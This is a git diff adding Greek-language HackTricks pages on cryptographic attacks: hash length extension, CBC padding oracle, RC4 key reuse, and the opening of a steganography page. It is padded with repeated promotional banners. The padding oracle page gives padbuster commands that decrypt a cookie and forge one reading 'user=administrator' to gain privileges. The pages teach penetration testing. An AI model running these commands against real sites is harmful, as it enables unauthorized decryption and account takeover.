Η γλώσσα PETOOH είναι γνωστή για την περίπλοκη σύνταξή της και την ασυνήθιστη δομή των εντολών της. Ο κώδικας PETOOH μπορεί να είναι δύσκολος στην ανάγνωση και την κατανόηση, καθώς χρησιμοποιεί μια μοναδική γραφή και σύνταξη.
|
||||||
|
|
||||||
|
Παρά την περιπλοκότητά της, η γλώσσα PETOOH μπορεί να χρησιμοποιηθεί για την υλοποίηση διάφορων αλγορίθμων και προγραμμάτων. Οι προγραμματιστές μπορούν να χρησιμοποιήσουν τη γλώσσα PETOOH για να κρυπτογραφήσουν κώδικα ή να δημιουργήσουν προγράμματα με εξωτική και πρωτότυπη λειτουργικότητα.
|
||||||
|
|
||||||
|
Για να κατανοήσετε και να χρησιμοποιήσετε τη γλώσσα PETOOH, θα πρέπει να εξοικειωθείτε με το λεξικό της γλώσσας και να κατανοήσετε τη σύνταξη και τη δομή των εντολών της. Μελετώντας παραδείγματα και προγράμματα που έχουν γραφεί σε PETOOH, μπορείτε να αποκτήσετε μια καλύτερη κατανόηση της γλώσσας και να αναπτύξετε τις δικές σας δεξιότητες προγραμματισμού σε PETOOH.
|
||||||
|
```
|
||||||
|
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
|
||||||
|
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
|
||||||
|
KoKoKo Kud-Kudah
|
||||||
|
kOkOkOkO kudah kO kud-Kudah Ko Kukarek kudah
|
||||||
|
KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
|
||||||
|
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
|
||||||
|
Kukarek
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Συμμετάσχετε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
</details>
|
60
crypto-and-stego/hash-length-extension-attack.md
Normal file
60
crypto-and-stego/hash-length-extension-attack.md
Normal file
|
@ -0,0 +1,60 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Περίληψη της επίθεσης
|
||||||
|
|
||||||
|
Φανταστείτε ένα διακομιστή που **υπογράφει** κάποια **δεδομένα** προσθέτοντας ένα **μυστικό** σε κάποια γνωστά καθαρά δεδομένα και στη συνέχεια κατακερματίζοντας αυτά τα δεδομένα. Εάν γνωρίζετε:
|
||||||
|
|
||||||
|
* **Το μήκος του μυστικού** (αυτό μπορεί επίσης να ανακαλυφθεί με βίαιη δοκιμή από έναν δεδομένο εύρος μήκους)
|
||||||
|
* **Τα καθαρά δεδομένα**
|
||||||
|
* **Τον αλγόριθμο (και τον ευάλωτο σε αυτήν την επίθεση)**
|
||||||
|
* **Το παραμόρφωμα είναι γνωστό**
|
||||||
|
* Συνήθως χρησιμοποιείται ένα προεπιλεγμένο, οπότε αν πληρούνται και οι άλλες 3 απαιτήσεις, αυτό επίσης ισχύει
|
||||||
|
* Το παραμόρφωμα διαφέρει ανάλογα με το μήκος του μυστικού+δεδομένων, γι' αυτό χρειάζεται το μήκος του μυστικού
|
||||||
|
|
||||||
|
Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προσθεμένα δεδομένα**.
|
||||||
|
|
||||||
|
## Πώς;
|
||||||
|
|
||||||
|
Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τα κατακερματισμένα δεδομένα αρχικά κατακερματίζοντας ένα μπλοκ δεδομένων και στη συνέχεια, από το προηγούμενο δημιουργημένο κατακερματισμένο δεδομένο (κατάσταση), προσθέτουν το επόμενο μπλοκ δεδομένων και το κατακερματίζουν.
|
||||||
|
|
||||||
|
Έπειτα, φανταστείτε ότι το μυστικό είναι "μυστικό" και τα δεδομένα είναι "δεδομένα", το MD5 του "μυστικόδεδομένα" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||||
|
Εάν ένας επιτιθέμενος θέλει να προσθέσει τον χαρακτήρα "προσθήκη" μπορεί:
|
||||||
|
|
||||||
|
* Να δημιουργήσει ένα MD5 από 64 "Α"
|
||||||
|
* Να αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμένου δεδομένου σε 6036708eba0d11f6ef52ad44e8b74d5b
|
||||||
|
* Να προσθέσει τον χαρακτήρα "προσθήκη"
|
||||||
|
* Να ολοκληρώσει τον κατακερματισμό και το αποτέλεσμα θα είναι μια **έγκυρη υπογραφή για το "μυστικό" + "δεδομένα" + "παραμόρφωμα" + "προσθήκη"**
|
||||||
|
|
||||||
|
## **Εργαλείο**
|
||||||
|
|
||||||
|
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
Μπορείτε να βρείτε αυτήν την επίθεση καλά εξηγημένη στο [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του
|
132
crypto-and-stego/padding-oracle-priv.md
Normal file
132
crypto-and-stego/padding-oracle-priv.md
Normal file
|
@ -0,0 +1,132 @@
|
||||||
|
# Padding Oracle
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## CBC - Cipher Block Chaining
|
||||||
|
|
||||||
|
Στη λειτουργία CBC, το **προηγούμενο κρυπτογραφημένο μπλοκ χρησιμοποιείται ως IV** για το XOR με το επόμενο μπλοκ:
|
||||||
|
|
||||||
|
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||||
|
|
||||||
|
Για να αποκρυπτογραφηθεί το CBC γίνονται οι **αντίθετες** **λειτουργίες**:
|
||||||
|
|
||||||
|
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||||
|
|
||||||
|
Παρατηρήστε ότι απαιτείται η χρήση ενός **κλειδιού κρυπτογράφησης** και ενός **IV**.
|
||||||
|
|
||||||
|
## Προσθήκη Μηνύματος
|
||||||
|
|
||||||
|
Καθώς η κρυπτογράφηση γίνεται σε **σταθερά μπλοκ μεγέθους**, συνήθως απαιτείται **προσθήκη μηνύματος** στο **τελευταίο μπλοκ** για να ολοκληρωθεί το μήκος του.\
|
||||||
|
Συνήθως χρησιμοποιείται το **PKCS7**, το οποίο δημιουργεί μια προσθήκη που **επαναλαμβάνει** τον **αριθμό των bytes που απαιτούνται** για να **ολοκληρωθεί** το μπλοκ. Για παράδειγμα, αν το τελευταίο μπλοκ λείπουν 3 bytes, η προσθήκη θα είναι `\x03\x03\x03`.
|
||||||
|
|
||||||
|
Ας δούμε περισσότερα παραδείγματα με **2 μπλοκ μήκους 8bytes**:
|
||||||
|
|
||||||
|
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||||
|
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||||
|
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||||
|
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||||
|
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||||
|
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||||
|
|
||||||
|
Παρατηρήστε πώς στο τελευταίο παράδειγμα το **τελευταίο μπλοκ ήταν γεμάτο, οπότε δημιουργήθηκε ένα ακόμα μόνο με προσθήκη**.
|
||||||
|
|
||||||
|
## Padding Oracle
|
||||||
|
|
||||||
|
Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, πρώτα θα αποκρυπτογραφήσει τα δεδομένα και στη συνέχεια θα αφαιρέσει την προσθήκη. Κατά τη διάρκεια της αφαίρεσης της προσθήκης, εάν μια **μη έγκυρη προσθήκη προκαλέσει μια ανιχνεύσιμη συμπεριφορά**, τότε έχετε μια **ευπάθεια padding oracle**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, έλλειψη αποτελεσμάτων ή **αργότερη απόκριση**.
|
||||||
|
|
||||||
|
Εάν ανιχνεύσετε αυτήν τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμα και να **κρυπτογραφήσετε οποιοδήποτε καθαρό κείμενο**.
|
||||||
|
|
||||||
|
### Πώς να εκμεταλλευτείτε
|
||||||
|
|
||||||
|
Μπορείτε να χρησιμοποιήσετε το [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) για να εκμεταλλευτείτε αυτού του είδους την ευπάθεια ή απλά να κάνετε
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo apt-get install padbuster
|
||||||
|
```
|
||||||
|
|
||||||
|
Για να ελέγξετε αν το cookie ενός ιστότοπου είναι ευάλωτο, μπορείτε να δοκιμάσετε:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||||
|
```
|
||||||
|
|
||||||
|
**Η κωδικοποίηση 0** σημαίνει ότι χρησιμοποιείται **base64** (αλλά υπάρχουν και άλλες διαθέσιμες, ελέγξτε το μενού βοήθειας).
|
||||||
|
|
||||||
|
Μπορείτε επίσης **να καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα**. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**\_**user=MyUsername**\_**" και μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να αναβαθμίσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας το `padbuster` και καθορίζοντας την παράμετρο **-plaintext**:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||||
|
```
|
||||||
|
|
||||||
|
Εάν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει το σφάλμα στο padding, αλλά μπορείτε επίσης να το υποδείξετε χρησιμοποιώντας την παράμετρο **-error** και το μήνυμα σφάλματος.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Η θεωρία
|
||||||
|
|
||||||
|
Συνοψίζοντας, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργηθούν όλα τα διάφορα paddings. Στη συνέχεια, η επίθεση με padding oracle θα αρχίσει να αποκρυπτογραφεί τα bytes από το τέλος προς την αρχή, μαντεύοντας ποια θα είναι η σωστή τιμή που δημιουργεί ένα padding του 1, 2, 3, κλπ.
|
||||||
|
|
||||||
|
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||||
|
|
||||||
|
Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει 2 blocks που αποτελούνται από τα bytes από το E0 έως το E15.\
|
||||||
|
Για να αποκρυπτογραφήσετε το τελευταίο block (E8 έως E15), ολόκληρο το block περνά από την "αποκρυπτογράφηση του block cipher" δημιουργώντας τα ενδιάμεσα bytes I0 έως I15.\
|
||||||
|
Τέλος, κάθε ενδιάμεσο byte γίνεται XOR με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι:
|
||||||
|
|
||||||
|
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||||
|
* `C14 = I14 ^ E6`
|
||||||
|
* `C13 = I13 ^ E5`
|
||||||
|
* `C12 = I12 ^ E4`
|
||||||
|
* ...
|
||||||
|
|
||||||
|
Τώρα, είναι δυνατόν να τροποποιήσετε το `E7` μέχρι το `C15` να είναι `0x01`, που θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτήν την περίπτωση: `\x01 = I15 ^ E'7`
|
||||||
|
|
||||||
|
Έτσι, βρίσκοντας το `E'7`, είναι δυνατόν να υπολογιστεί το `I15`: `I15 = 0x01 ^ E'7`
|
||||||
|
|
||||||
|
Αυτό μας επιτρέπει να υπολογίσουμε το `C15`: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||||
|
|
||||||
|
Γνωρίζοντας το `C15`, τώρα είναι δυνατόν να υπολογίσουμε το `C14`, αλλά αυτή τη φορά με brute-forcing το padding `\x02\x02`.
|
||||||
|
|
||||||
|
Αυτό το BF είναι εξίσου πολύπλοκο με το προηγούμενο, καθώς είναι δυνατόν να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15`, οπότε απλά χρειάζεται να βρεθεί το `E'14` που δημιουργεί ένα `C14` ίσο με `0x02`.\
|
||||||
|
Στη συνέχεια, εκτελούνται τα ίδια βήματα για να αποκρυπτογραφηθεί το C14: `C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`
|
||||||
|
|
||||||
|
**Ακολουθήστε αυτήν την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.**
|
||||||
|
|
||||||
|
### Ανίχνευση της ευπάθειας
|
||||||
|
|
||||||
|
Καταχωρήστε έναν λογαριασμό και συνδεθείτε με αυτόν τον λογαριασμό.\
|
||||||
|
Εάν συνδεθείτε πολλές φορές και πάντα λαμβάνετε τον **ίδιο cookie**, πιθανώς υπάρχει κάτι **λάθος** στην εφαρμογή. Το cookie που επιστρέφεται θα πρέπει να είναι μοναδικό κάθε φορά που συνδέεστε. Εάν το cookie είναι **πάντα** το **ίδιο**, πιθανώς θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε.
|
||||||
|
|
||||||
|
Τώρα, εάν προσπαθήσετε να **τροποποιήσετε** το **cookie**, μπορείτε να δείτε ότι λαμβάνετε ένα **σφάλμα** από την εφαρμογή.\
|
||||||
|
Αλλά εάν κάνετε brute-force το padding (χρησιμοποιώντας για παράδειγμα το padbuster), καταφέρνετε να λάβετε ένα άλλο έγκυρο cookie για έναν διαφορετικό χρήστη. Αυτό το σενάριο είναι πιθανόν να είναι ευπάθεια στο padbuster.
|
||||||
|
|
||||||
|
### Αναφορές
|
||||||
|
|
||||||
|
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
||||||
|
|
||||||
|
</details>
|
40
crypto-and-stego/rc4-encrypt-and-decrypt.md
Normal file
40
crypto-and-stego/rc4-encrypt-and-decrypt.md
Normal file
|
@ -0,0 +1,40 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Εάν μπορείτε κάπως να κρυπτογραφήσετε ένα καθαρό κείμενο χρησιμοποιώντας το RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο που έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης.
|
||||||
|
|
||||||
|
Εάν μπορείτε να κρυπτογραφήσετε ένα γνωστό καθαρό κείμενο, μπορείτε επίσης να εξαγάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορούν να βρεθούν στη μηχανή HTB Kryptos:
|
||||||
|
|
||||||
|
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||||
|
|
||||||
|
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
218
crypto-and-stego/stego-tricks.md
Normal file
218
crypto-and-stego/stego-tricks.md
Normal file
|
@ -0,0 +1,218 @@
|
||||||
|
# Stego Κόλπα
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## **Εξαγωγή Δεδομένων από Αρχεία**
|
||||||
|
|
||||||
|
### **Binwalk**
|
||||||
|
|
||||||
|
Ένα εργαλείο για την αναζήτηση δυαδικών αρχείων για ενσωματωμένα κρυμμένα αρχεία και δεδομένα. Εγκαθίσταται μέσω `apt` και ο πηγαίος κώδικάς του είναι διαθέσιμος στο [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||||
|
```bash
|
||||||
|
binwalk file # Displays the embedded data
|
||||||
|
binwalk -e file # Extracts the data
|
||||||
|
binwalk --dd ".*" file # Extracts all data
|
||||||
|
```
|
